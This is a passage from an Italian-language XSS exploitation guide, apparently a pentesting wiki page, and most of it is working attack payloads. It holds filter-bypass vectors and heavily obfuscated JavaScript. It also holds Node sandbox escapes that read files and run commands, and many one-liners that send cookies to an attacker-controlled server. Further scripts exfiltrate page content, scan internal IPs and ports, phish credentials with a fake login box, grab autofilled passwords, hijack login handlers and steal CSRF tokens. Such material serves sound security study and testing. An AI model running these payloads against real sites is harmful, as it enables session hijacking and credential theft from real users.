(1,2,3,4,5,6,7,8,alert)(1)
x=alert,x(1)
[1].find(alert)
top["al"+"ert"](1)
top[/al/.source+/ert/.source](1)
al\u0065rt(1)
al\u0065rt`1`
top['al\145rt'](1)
top['al\x65rt'](1)
top[8680439..toString(30)](1)
<svg><animate onbegin=alert() attributeName=x></svg>

DOM vulnerabilities

C'è del JS code che usa dati non sicuri controllati da un attacker come location.href. Un attacker potrebbe abusarne per eseguire codice JS arbitrario.
A causa dell'estensione della spiegazione di DOM vulnerabilities è stata spostata in questa pagina:

DOM XSS

Lì troverai una dettagliata spiegazione di cosa sono le DOM vulnerabilities, come vengono provocate e come sfruttarle.
Inoltre, non dimenticare che alla fine del post menzionato puoi trovare una spiegazione su DOM Clobbering attacks.

Potenziare Self-XSS

Se puoi scatenare una XSS inviando il payload dentro un cookie, solitamente si tratta di una Self-XSS. Tuttavia, se trovi un vulnerable subdomain to XSS, potresti abusare di questa XSS per iniettare un cookie nell'intero dominio riuscendo a triggerare la cookie XSS nel dominio principale o in altri subdomains (quelli vulnerabili a cookie XSS). Per questo puoi usare il cookie tossing attack:

Cookie Tossing

Puoi trovare un ottimo abuso di questa tecnica in this blog post.

Sending your session to the admin

Potrebbe accadere che un utente condivida il suo profilo con l'admin e se la Self-XSS è presente nel profilo dell'utente e l'admin lo accede, egli innescherà la vulnerabilità.

Session Mirroring

Se trovi una Self XSS e la web page ha un sistema di session mirroring per administrators, per esempio permettendo ai clienti di chiedere aiuto e affinché l'admin possa aiutarti vedrà ciò che stai vedendo nella tua session ma dalla sua session.

Potresti far sì che l'administrator inneschi la tua Self XSS e rubare i suoi cookie/session.

Altri Bypass

Bypassing sanitization via WASM linear-memory template overwrite

Quando una web app usa Emscripten/WASM, le stringhe costanti (come HTML format stubs) vivono in writable linear memory. Un singolo in‑WASM overflow (es., memcpy non controllata in un edit path) può corrompere strutture adiacenti e reindirizzare le scritture verso quelle constant. Sovrascrivere un template come "

%.*s

" in "" trasforma l'input sanitizzato in un valore di JavaScript handler e produce DOM XSS immediato al render.

Check the dedicated page with exploitation workflow, DevTools memory helpers, and defenses:

Wasm Linear Memory Template Overwrite Xss

Normalised Unicode

Potresti verificare se i reflected values vengono unicode normalized sul server (o lato client) e abusare di questa funzionalità per bypassare le protezioni. Find an example here.

Bypass del flag PHP FILTER_VALIDATE_EMAIL

javascript
"><svg/onload=confirm(1)>"@x.y

Ruby-On-Rails bypass

A causa di RoR mass assignment vengono inserite virgolette nell'HTML e la restrizione sulle virgolette viene quindi aggirata, permettendo di aggiungere campi aggiuntivi (onfocus) all'interno del tag.
Esempio di form (from this report), se invii il payload:

contact[email] onfocus=javascript:alert('xss') autofocus a=a&form_type[a]aaa

La coppia "Key","Value" verrà restituita così:

{" onfocus=javascript:alert(&#39;xss&#39;) autofocus a"=>"a"}

Quindi verrà inserito l'attributo onfocus e si verificherà XSS.

Combinazioni speciali

html
<iframe/src="data:text/html,<svg onload=alert(1)>">
<input type=image src onerror="prompt(1)">
<svg onload=alert(1)//
<img src="/" =_=" title="onerror='prompt(1)'">
<img src='1' onerror='alert(0)' <
<script x> alert(1) </script 1=2
<script x>alert('XSS')<script y>
<svg/onload=location=`javas`+`cript:ale`+`rt%2`+`81%2`+`9`;//
<svg////////onload=alert(1)>
<svg id=x;onload=alert(1)>
<svg id=`x`onload=alert(1)>
<img src=1 alt=al lang=ert onerror=top[alt+lang](0)>
<script>$=1,alert($)</script>
<script ~~~>confirm(1)</script ~~~>
<script>$=1,\u0061lert($)</script>
<</script/script><script>eval('\\u'+'0061'+'lert(1)')//</script>
<</script/script><script ~~~>\u0061lert(1)</script ~~~>
</style></scRipt><scRipt>alert(1)</scRipt>
<img src=x:prompt(eval(alt)) onerror=eval(src) alt=String.fromCharCode(88,83,83)>
<svg><x><script>alert('1'&#41</x>
<iframe src=""/srcdoc='<svg onload=alert(1)>'>
<svg><animate onbegin=alert() attributeName=x></svg>
<img/id="alert('XSS')\"/alt=\"/\"src=\"/\"onerror=eval(id)>
<img src=1 onerror="s=document.createElement('script');s.src='http://xss.rocks/xss.js';document.body.appendChild(s);">
(function(x){this[x+`ert`](1)})`al`
window[`al`+/e/[`ex`+`ec`]`e`+`rt`](2)
document['default'+'View'][`\u0061lert`](3)

XSS con header injection in una 302 response

Se scopri di poter inject headers in a 302 Redirect response potresti provare a far eseguire al browser JavaScript arbitrario. Questo non è banale perché i browser moderni non interpretano il body della risposta HTTP se lo status code della risposta HTTP è 302, quindi un semplice cross-site scripting payload è inutile.

In this report e this one puoi leggere come testare diversi protocolli all'interno del Location header e verificare se qualcuno di essi permette al browser di ispezionare ed eseguire l'XSS payload all'interno del body.
Past known protocols: mailto://, //x:1/, ws://, wss://, empty Location header, resource://.

Solo Letters, Numbers and Dots

Se riesci a indicare la callback che javascript eseguirà limitata a quei caratteri. Read this section of this post per scoprire come abusare di questo comportamento.

Valid <script> Content-Types to XSS

(From here) Se provi a caricare uno script con un content-type come application/octet-stream, Chrome genererà il seguente errore:

Refused to execute script from ‘https://uploader.c.hc.lc/uploads/xxx' because its MIME type (‘application/octet-stream’) is not executable, and strict MIME type checking is enabled.

Gli unici Content-Type che permetteranno a Chrome di eseguire uno loaded script sono quelli presenti nella const kSupportedJavascriptTypes da https://chromium.googlesource.com/chromium/src.git/+/refs/tags/103.0.5012.1/third_party/blink/common/mime_util/mime_util.cc

c
const char* const kSupportedJavascriptTypes[] = {
"application/ecmascript",
"application/javascript",
"application/x-ecmascript",
"application/x-javascript",
"text/ecmascript",
"text/javascript",
"text/javascript1.0",
"text/javascript1.1",
"text/javascript1.2",
"text/javascript1.3",
"text/javascript1.4",
"text/javascript1.5",
"text/jscript",
"text/livescript",
"text/x-ecmascript",
"text/x-javascript",
};

Tipi di Script per XSS

(From here) Quindi, quali tipi potrebbero essere indicati per caricare uno script?

html
<script type="???"></script>
  • module (predefinito, niente da spiegare)
  • webbundle: Web Bundles è una funzionalità che consente di impacchettare un insieme di dati (HTML, CSS, JS…) in un file .wbn.
html
<script type="webbundle">
{
"source": "https://example.com/dir/subresources.wbn",
"resources": ["https://example.com/dir/a.js", "https://example.com/dir/b.js", "https://example.com/dir/c.png"]
}
</script>
The resources are loaded from the source .wbn, not accessed via HTTP
  • importmap: Consente di migliorare la sintassi degli import
html
<script type="importmap">
{
"imports": {
"moment": "/node_modules/moment/src/moment.js",
"lodash": "/node_modules/lodash-es/lodash.js"
}
}
</script>

<!-- With importmap you can do the following -->
<script>
import moment from "moment"
import { partition } from "lodash"
</script>

Questo comportamento è stato usato in this writeup per rimappare una libreria su eval e abusarne per scatenare XSS.

  • speculationrules: Questa funzionalità serve principalmente a risolvere alcuni problemi causati dal pre-rendering. Funziona così:
html
<script type="speculationrules">
{
"prerender": [
{ "source": "list", "urls": ["/page/2"], "score": 0.5 },
{
"source": "document",
"if_href_matches": ["https://*.wikipedia.org/**"],
"if_not_selector_matches": [".restricted-section *"],
"score": 0.1
}
]
}
</script>

Web Content-Types per XSS

(From here) I seguenti Content-Types possono eseguire XSS in tutti i browser:

  • text/html
  • application/xhtml+xml
  • application/xml
  • text/xml
  • image/svg+xml
  • text/plain (?? non nella lista ma credo di aver visto questo in una CTF)
  • application/rss+xml (off)
  • application/atom+xml (off)

In altri browser altri Content-Types possono essere usati per eseguire JS arbitrario, vedi: https://github.com/BlackFan/content-type-research/blob/master/XSS.md

xml Content Type

Se la pagina restituisce un content-type text/xml è possibile indicare un namespace ed eseguire JS arbitrario:

xml
<xml>
<text>hello<img src="1" onerror="alert(1)" xmlns="http://www.w3.org/1999/xhtml" /></text>
</xml>

<!-- Heyes, Gareth. JavaScript for hackers: Learn to think like a hacker (p. 113). Kindle Edition. -->

Pattern di sostituzione speciali

Quando viene usato qualcosa come "some {{template}} data".replace("{{template}}", <user_input>) l'attacker potrebbe usare special string replacements per cercare di bypassare alcune protezioni: "123 {{template}} 456".replace("{{template}}", JSON.stringify({"name": "$'$`alert(1)//"}))

Per esempio in this writeup, questo è stato usato per eseguire l'escape di una stringa JSON all'interno di uno script ed eseguire codice arbitrario.

Chrome Cache to XSS

Chrome Cache to XSS

XS Jails Escape

Se hai a disposizione solo un set limitato di caratteri da usare, controlla queste altre soluzioni valide per problemi di XSJail:

javascript
// eval + unescape + regex
eval(unescape(/%2f%0athis%2econstructor%2econstructor(%22return(process%2emainModule%2erequire(%27fs%27)%2ereadFileSync(%27flag%2etxt%27,%27utf8%27))%22)%2f/))()
eval(unescape(1+/1,this%2evalueOf%2econstructor(%22process%2emainModule%2erequire(%27repl%27)%2estart()%22)()%2f/))

// use of with
with(console)log(123)
with(/console.log(1)/index.html)with(this)with(constructor)constructor(source)()
// Just replace console.log(1) to the real code, the code we want to run is:
//return String(process.mainModule.require('fs').readFileSync('flag.txt'))

with(process)with(mainModule)with(require('fs'))return(String(readFileSync('flag.txt')))
with(k='fs',n='flag.txt',process)with(mainModule)with(require(k))return(String(readFileSync(n)))
with(String)with(f=fromCharCode,k=f(102,115),n=f(102,108,97,103,46,116,120,116),process)with(mainModule)with(require(k))return(String(readFileSync(n)))

//Final solution
with(
/with(String)
with(f=fromCharCode,k=f(102,115),n=f(102,108,97,103,46,116,120,116),process)
with(mainModule)
with(require(k))
return(String(readFileSync(n)))
/)
with(this)
with(constructor)
constructor(source)()

// For more uses of with go to challenge misc/CaaSio PSE in
// https://blog.huli.tw/2022/05/05/en/angstrom-ctf-2022-writeup-en/#misc/CaaSio%20PSE

Se tutto è undefined prima di eseguire codice non attendibile (come in this writeup) è possibile generare oggetti utili "dal nulla" per abusare dell'esecuzione di codice arbitrario non attendibile:

  • Usando import()
javascript
// although import "fs" doesn’t work, import('fs') does.
import("fs").then((m) => console.log(m.readFileSync("/flag.txt", "utf8")))
  • Accesso indiretto a require

According to this i moduli sono avvolti da Node.js all'interno di una funzione, come segue:

javascript
;(function (exports, require, module, __filename, __dirname) {
// our actual module code
})

Quindi, se da quel modulo possiamo chiamare un'altra funzione, è possibile usare arguments.callee.caller.arguments[1] da quella funzione per accedere a require:

javascript
;(function () {
return arguments.callee.caller.arguments[1]("fs").readFileSync(
"/flag.txt",
"utf8"
)
})()

In modo simile all'esempio precedente, è possibile usare i gestori di errori per accedere al wrapper del modulo e ottenere la funzione require:

javascript
try {
null.f()
} catch (e) {
TypeError = e.constructor
}
Object = {}.constructor
String = "".constructor
Error = TypeError.prototype.__proto__.constructor
function CustomError() {
const oldStackTrace = Error.prepareStackTrace
try {
Error.prepareStackTrace = (err, structuredStackTrace) =>
structuredStackTrace
Error.captureStackTrace(this)
this.stack
} finally {
Error.prepareStackTrace = oldStackTrace
}
}
function trigger() {
const err = new CustomError()
console.log(err.stack[0])
for (const x of err.stack) {
// use x.getFunction() to get the upper function, which is the one that Node.js adds a wrapper to, and then use arugments to get the parameter
const fn = x.getFunction()
console.log(String(fn).slice(0, 200))
console.log(fn?.arguments)
console.log("=".repeat(40))
if ((args = fn?.arguments)?.length > 0) {
req = args[1]
console.log(req("child_process").execSync("id").toString())
}
}
}
trigger()

Obfuscation & Advanced Bypass

javascript
//Katana
<script>
([,ウ,,,,ア]=[]+{}
,[ネ,ホ,ヌ,セ,,ミ,ハ,ヘ,,,ナ]=[!!ウ]+!ウ+ウ.ウ)[ツ=ア+ウ+ナ+ヘ+ネ+ホ+ヌ+ア+ネ+ウ+ホ][ツ](ミ+ハ+セ+ホ+ネ+'(-~ウ)')()
</script>
javascript
//JJencode
<script>$=~[];$={___:++$,$:(![]+"")[$],__$:++$,$_$_:(![]+"")[$],_$_:++$,$_$:({}+"")[$],$_$:($[$]+"")[$],_$:++$,$_:(!""+"")[$],$__:++$,$_$:++$,$__:({}+"")[$],$_:++$,$:++$,$___:++$,$__$:++$};$.$_=($.$_=$+"")[$.$_$]+($._$=$.$_[$.__$])+($.$=($.$+"")[$.__$])+((!$)+"")[$._$]+($.__=$.$_[$.$_])+($.$=(!""+"")[$.__$])+($._=(!""+"")[$._$_])+$.$_[$.$_$]+$.__+$._$+$.$;$.$=$.$+(!""+"")[$._$]+$.__+$._+$.$+$.$;$.$=($.___)[$.$_][$.$_];$.$($.$($.$+"\""+$.$_$_+(![]+"")[$._$_]+$.$_+"\\"+$.__$+$.$_+$._$_+$.__+"("+$.___+")"+"\"")())();</script>
javascript
//JSFuck
<script>
(+[])[([][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]]+[])[!+[]+!+[]+!+[]]+(!+[]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]])[+!+[]+[+[]]]+([][[]]+[])[+!+[]]+(![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[+!+[]]+([][[]]+[])[+[]]+([][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!+[]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]])[+!+[]+[+[]]]+(!![]+[])[+!+[]]][([][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]]+[])[!+[]+!+[]+!+[]]+(!+[]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]])[+!+[]+[+[]]]+([][[]]+[])[+!+[]]+(![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[+!+[]]+([][[]]+[])[+[]]+([][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!+[]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]])[+!+[]+[+[]]]+(!![]+[])[+!+[]]]((![]+[])[+!+[]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]+(!![]+[])[+[]]+([][([][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]]+[])[!+[]+!+[]+!+[]]+(!+[]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]])[+!+[]+[+[]]]+([][[]]+[])[+!+[]]+(![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[+!+[]]+([][[]]+[])[+[]]+([][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!+[]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]])[+!+[]+[+[]]]+(!![]+[])[+!+[]]]+[])[[+!+[]]+[!+[]+!+[]+!+[]+!+[]]]+[+[]]+([][([][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]]+[])[!+[]+!+[]+!+[]]+(!+[]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]])[+!+[]+[+[]]]+([][[]]+[])[+!+[]]+(![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[+!+[]]+([][[]]+[])[+[]]+([][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!+[]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]])[+!+[]+[+[]]]+(!![]+[])[+!+[]]]+[])[[+!+[]]+[!+[]+!+[]+!+[]+!+[]+!+[]]])()
</script>
javascript
//aaencode
゚ω゚ノ = /`m´)ノ ~┻━┻   / /*´∇`*/["_"]
o = ゚ー゚ = _ = 3
c = ゚Θ゚ = ゚ー゚ - ゚ー゚
゚Д゚ = ゚Θ゚ = (o ^ _ ^ o) / (o ^ _ ^ o)
゚Д゚ = {
゚Θ゚: "_",
゚ω゚ノ: ((゚ω゚ノ == 3) + "_")[゚Θ゚],
゚ー゚ノ: (゚ω゚ノ + "_")[o ^ _ ^ (o - ゚Θ゚)],
゚Д゚ノ: ((゚ー゚ == 3) + "_")[゚ー゚],
}
゚Д゚[゚Θ゚] = ((゚ω゚ノ == 3) + "_")[c ^ _ ^ o]
゚Д゚["c"] = (゚Д゚ + "_")[゚ー゚ + ゚ー゚ - ゚Θ゚]
゚Д゚["o"] = (゚Д゚ + "_")[゚Θ゚]
゚o゚ =
゚Д゚["c"] +
゚Д゚["o"] +
(゚ω゚ノ + "_")[゚Θ゚] +
((゚ω゚ノ == 3) + "_")[゚ー゚] +
(゚Д゚ + "_")[゚ー゚ + ゚ー゚] +
((゚ー゚ == 3) + "_")[゚Θ゚] +
((゚ー゚ == 3) + "_")[゚ー゚ - ゚Θ゚] +
゚Д゚["c"] +
(゚Д゚ + "_")[゚ー゚ + ゚ー゚] +
゚Д゚["o"] +
((゚ー゚ == 3) + "_")[゚Θ゚]
゚Д゚["_"] = (o ^ _ ^ o)[゚o゚][゚o゚]
゚ε゚ =
((゚ー゚ == 3) + "_")[゚Θ゚] +
゚Д゚.゚Д゚ノ +
(゚Д゚ + "_")[゚ー゚ + ゚ー゚] +
((゚ー゚ == 3) + "_")[o ^ _ ^ (o - ゚Θ゚)] +
((゚ー゚ == 3) + "_")[゚Θ゚] +
(゚ω゚ノ + "_")[゚Θ゚]
゚ー゚ += ゚Θ゚
゚Д゚[゚ε゚] = "\\"
゚Д゚.゚Θ゚ノ = (゚Д゚ + ゚ー゚)[o ^ _ ^ (o - ゚Θ゚)]
o゚ー゚o = (゚ω゚ノ + "_")[c ^ _ ^ o]
゚Д゚[゚o゚] = '"'
゚Д゚["_"](
゚Д゚["_"](
゚ε゚ +
゚Д゚[゚o゚] +
゚Д゚[゚ε゚] +
゚Θ゚ +
゚ー゚ +
゚Θ゚ +
゚Д゚[゚ε゚] +
゚Θ゚ +
(゚ー゚ + ゚Θ゚) +
゚ー゚ +
゚Д゚[゚ε゚] +
゚Θ゚ +
゚ー゚ +
(゚ー゚ + ゚Θ゚) +
゚Д゚[゚ε゚] +
゚Θ゚ +
((o ^ _ ^ o) + (o ^ _ ^ o)) +
((o ^ _ ^ o) - ゚Θ゚) +
゚Д゚[゚ε゚] +
゚Θ゚ +
((o ^ _ ^ o) + (o ^ _ ^ o)) +
゚ー゚ +
゚Д゚[゚ε゚] +
(゚ー゚ + ゚Θ゚) +
(c ^ _ ^ o) +
゚Д゚[゚ε゚] +
゚ー゚ +
((o ^ _ ^ o) - ゚Θ゚) +
゚Д゚[゚ε゚] +
゚Θ゚ +
゚Θ゚ +
(c ^ _ ^ o) +
゚Д゚[゚ε゚] +
゚Θ゚ +
゚ー゚ +
(゚ー゚ + ゚Θ゚) +
゚Д゚[゚ε゚] +
゚Θ゚ +
(゚ー゚ + ゚Θ゚) +
゚ー゚ +
゚Д゚[゚ε゚] +
゚Θ゚ +
(゚ー゚ + ゚Θ゚) +
゚ー゚ +
゚Д゚[゚ε゚] +
゚Θ゚ +
(゚ー゚ + ゚Θ゚) +
(゚ー゚ + (o ^ _ ^ o)) +
゚Д゚[゚ε゚] +
(゚ー゚ + ゚Θ゚) +
゚ー゚ +
゚Д゚[゚ε゚] +
゚ー゚ +
(c ^ _ ^ o) +
゚Д゚[゚ε゚] +
゚Θ゚ +
゚Θ゚ +
((o ^ _ ^ o) - ゚Θ゚) +
゚Д゚[゚ε゚] +
゚Θ゚ +
゚ー゚ +
゚Θ゚ +
゚Д゚[゚ε゚] +
゚Θ゚ +
((o ^ _ ^ o) + (o ^ _ ^ o)) +
((o ^ _ ^ o) + (o ^ _ ^ o)) +
゚Д゚[゚ε゚] +
゚Θ゚ +
゚ー゚ +
゚Θ゚ +
゚Д゚[゚ε゚] +
゚Θ゚ +
((o ^ _ ^ o) - ゚Θ゚) +
(o ^ _ ^ o) +
゚Д゚[゚ε゚] +
゚Θ゚ +
゚ー゚ +
(o ^ _ ^ o) +
゚Д゚[゚ε゚] +
゚Θ゚ +
((o ^ _ ^ o) + (o ^ _ ^ o)) +
((o ^ _ ^ o) - ゚Θ゚) +
゚Д゚[゚ε゚] +
゚Θ゚ +
(゚ー゚ + ゚Θ゚) +
゚Θ゚ +
゚Д゚[゚ε゚] +
゚Θ゚ +
((o ^ _ ^ o) + (o ^ _ ^ o)) +
(c ^ _ ^ o) +
゚Д゚[゚ε゚] +
゚Θ゚ +
((o ^ _ ^ o) + (o ^ _ ^ o)) +
゚ー゚ +
゚Д゚[゚ε゚] +
゚ー゚ +
((o ^ _ ^ o) - ゚Θ゚) +
゚Д゚[゚ε゚] +
(゚ー゚ + ゚Θ゚) +
゚Θ゚ +
゚Д゚[゚o゚]
)(゚Θ゚)
)("_")
javascript
// It's also possible to execute JS code only with the chars: []`+!${}

XSS payloads comuni

Diversi payloads in 1

Steal Info JS

Trappola Iframe

Forza l'utente a navigare nella pagina senza uscire dall'iframe e cattura le sue azioni (inclusi i dati inviati nei form):

Iframe Traps

javascript
<img src=x onerror=this.src="http://<YOUR_SERVER_IP>/?c="+document.cookie>
<img src=x onerror="location.href='http://<YOUR_SERVER_IP>/?c='+ document.cookie">
<script>new Image().src="http://<IP>/?c="+encodeURI(document.cookie);</script>
<script>new Audio().src="http://<IP>/?c="+escape(document.cookie);</script>
<script>location.href = 'http://<YOUR_SERVER_IP>/Stealer.php?cookie='+document.cookie</script>
<script>location = 'http://<YOUR_SERVER_IP>/Stealer.php?cookie='+document.cookie</script>
<script>document.location = 'http://<YOUR_SERVER_IP>/Stealer.php?cookie='+document.cookie</script>
<script>document.location.href = 'http://<YOUR_SERVER_IP>/Stealer.php?cookie='+document.cookie</script>
<script>document.write('<img src="http://<YOUR_SERVER_IP>?c='+document.cookie+'" />')</script>
<script>window.location.assign('http://<YOUR_SERVER_IP>/Stealer.php?cookie='+document.cookie)</script>
<script>window['location']['assign']('http://<YOUR_SERVER_IP>/Stealer.php?cookie='+document.cookie)</script>
<script>window['location']['href']('http://<YOUR_SERVER_IP>/Stealer.php?cookie='+document.cookie)</script>
<script>document.location=["http://<YOUR_SERVER_IP>?c",document.cookie].join()</script>
<script>var i=new Image();i.src="http://<YOUR_SERVER_IP>/?c="+document.cookie</script>
<script>window.location="https://<SERVER_IP>/?c=".concat(document.cookie)</script>
<script>var xhttp=new XMLHttpRequest();xhttp.open("GET", "http://<SERVER_IP>/?c="%2Bdocument.cookie, true);xhttp.send();</script>
<script>eval(atob('ZG9jdW1lbnQud3JpdGUoIjxpbWcgc3JjPSdodHRwczovLzxTRVJWRVJfSVA+P2M9IisgZG9jdW1lbnQuY29va2llICsiJyAvPiIp'));</script>
<script>fetch('https://YOUR-SUBDOMAIN-HERE.burpcollaborator.net', {method: 'POST', mode: 'no-cors', body:document.cookie});</script>
<script>navigator.sendBeacon('https://ssrftest.com/x/AAAAA',document.cookie)</script>

tip

Non potrai accedere ai cookies da JavaScript se il flag HTTPOnly è impostato nel cookie. Ma qui hai some ways to bypass this protection se sei abbastanza fortunato.

Rubare il contenuto della pagina

javascript
var url = "http://10.10.10.25:8000/vac/a1fbf2d1-7c3f-48d2-b0c3-a205e54e09e8"
var attacker = "http://10.10.14.8/exfil"
var xhr = new XMLHttpRequest()
xhr.onreadystatechange = function () {
if (xhr.readyState == XMLHttpRequest.DONE) {
fetch(attacker + "?" + encodeURI(btoa(xhr.responseText)))
}
}
xhr.open("GET", url, true)
xhr.send(null)

Trova IP interni

html
<script>
var q = []
var collaboratorURL =
"http://5ntrut4mpce548i2yppn9jk1fsli97.burpcollaborator.net"
var wait = 2000
var n_threads = 51

// Prepare the fetchUrl functions to access all the possible
for (i = 1; i <= 255; i++) {
q.push(
(function (url) {
return function () {
fetchUrl(url, wait)
}
})("http://192.168.0." + i + ":8080")
)
}

// Launch n_threads threads that are going to be calling fetchUrl until there is no more functions in q
for (i = 1; i <= n_threads; i++) {
if (q.length) q.shift()()
}

function fetchUrl(url, wait) {
console.log(url)
var controller = new AbortController(),
signal = controller.signal
fetch(url, { signal })
.then((r) =>
r.text().then((text) => {
location =
collaboratorURL +
"?ip=" +
url.replace(/^http:\/\//, "") +
"&code=" +
encodeURIComponent(text) +
"&" +
Date.now()
})
)
.catch((e) => {
if (!String(e).includes("The user aborted a request") && q.length) {
q.shift()()
}
})

setTimeout((x) => {
controller.abort()
if (q.length) {
q.shift()()
}
}, wait)
}
</script>

Port Scanner (fetch)

javascript
const checkPort = (port) => { fetch(http://localhost:${port}, { mode: "no-cors" }).then(() => { let img = document.createElement("img"); img.src = http://attacker.com/ping?port=${port}; }); } for(let i=0; i<1000; i++) { checkPort(i); }

Port Scanner (websockets)

python
var ports = [80, 443, 445, 554, 3306, 3690, 1234];
for(var i=0; i<ports.length; i++) {
var s = new WebSocket("wss://192.168.1.1:" + ports[i]);
s.start = performance.now();
s.port = ports[i];
s.onerror = function() {
console.log("Port " + this.port + ": " + (performance.now() -this.start) + " ms");
};
s.onopen = function() {
console.log("Port " + this.port+ ": " + (performance.now() -this.start) + " ms");
};
}

Tempi brevi indicano una porta che risponde Tempi più lunghi indicano nessuna risposta.

Consulta la lista delle porte bandite in Chrome here e in Firefox here.

Casella per richiedere credentials

html
<style>::placeholder { color:white; }</style><script>document.write("<div style='position:absolute;top:100px;left:250px;width:400px;background-color:white;height:230px;padding:15px;border-radius:10px;color:black'><form action='https://example.com/'><p>Your sesion has timed out, please login again:</p><input style='width:100%;' type='text' placeholder='Username' /><input style='width: 100%' type='password' placeholder='Password'/><input type='submit' value='Login'></form><p><i>This login box is presented using XSS as a proof-of-concept</i></p></div>")</script>

Cattura delle password tramite Auto-fill

javascript
<b>Username:</><br>
<input name=username id=username>
<b>Password:</><br>
<input type=password name=password onchange="if(this.value.length)fetch('https://YOUR-SUBDOMAIN-HERE.burpcollaborator.net',{
method:'POST',
mode: 'no-cors',
body:username.value+':'+this.value
});">

Quando viene inserito qualsiasi dato nel campo password, lo username e la password vengono inviati al attackers server, anche se il client seleziona una saved password e non scrive nulla le credentials saranno ex-filtrated.

Hijack form handlers to exfiltrate credentials (const shadowing)

Se un handler critico (e.g., function DoLogin(){...}) è dichiarato più avanti nella pagina, e il tuo payload viene eseguito prima (e.g., via un inline JS-in-JS sink), definisci un const con lo stesso nome prima per preempt e lockare l'handler. Dichiarazioni di funzione successive non possono rebindare un nome const, lasciando il tuo hook in controllo:

javascript
const DoLogin = () => {
const pwd  = Trim(FormInput.InputPassword.value);
const user = Trim(FormInput.InputUtente.value);
fetch('https://attacker.example/?u='+encodeURIComponent(user)+'&p='+encodeURIComponent(pwd));
};

Note

  • Questo dipende dall'ordine di esecuzione: la tua injection deve eseguire prima della dichiarazione legittima.
  • Se il tuo payload è racchiuso in eval(...), i binding const/let non diventeranno globali. Usa la tecnica di injection dinamica <script> dalla sezione “Deliverable payloads with eval(atob()) and scope nuances” per garantire un binding globale reale e non riassegnabile.
  • Quando filtri per parole chiave bloccano il codice, combina con identificatori Unicode-escaped o la delivery eval(atob('...')), come mostrato sopra.

Keylogger

Just searching in github I found a few different ones:

Stealing CSRF tokens

javascript
<script>
var req = new XMLHttpRequest();
req.onload = handleResponse;
req.open('get','/email',true);
req.send();
function handleResponse() {
var token = this.responseText.match(/name="csrf" value="(\w+)"/)[1];
var changeReq = new XMLHttpRequest();
changeReq.open('post', '/email/change-email', true);
changeReq.send('csrf='+token+'&email=test@test.com')
};
</script>

Rubare messaggi PostMessage

html
<img src="https://attacker.com/?" id=message>
<script>
window.onmessage = function(e){
document.getElementById("message").src += "&"+e.data;
</script>

Abuso dei Service Workers

Abusing Service Workers

Accesso allo Shadow DOM

Shadow DOM

Polyglots

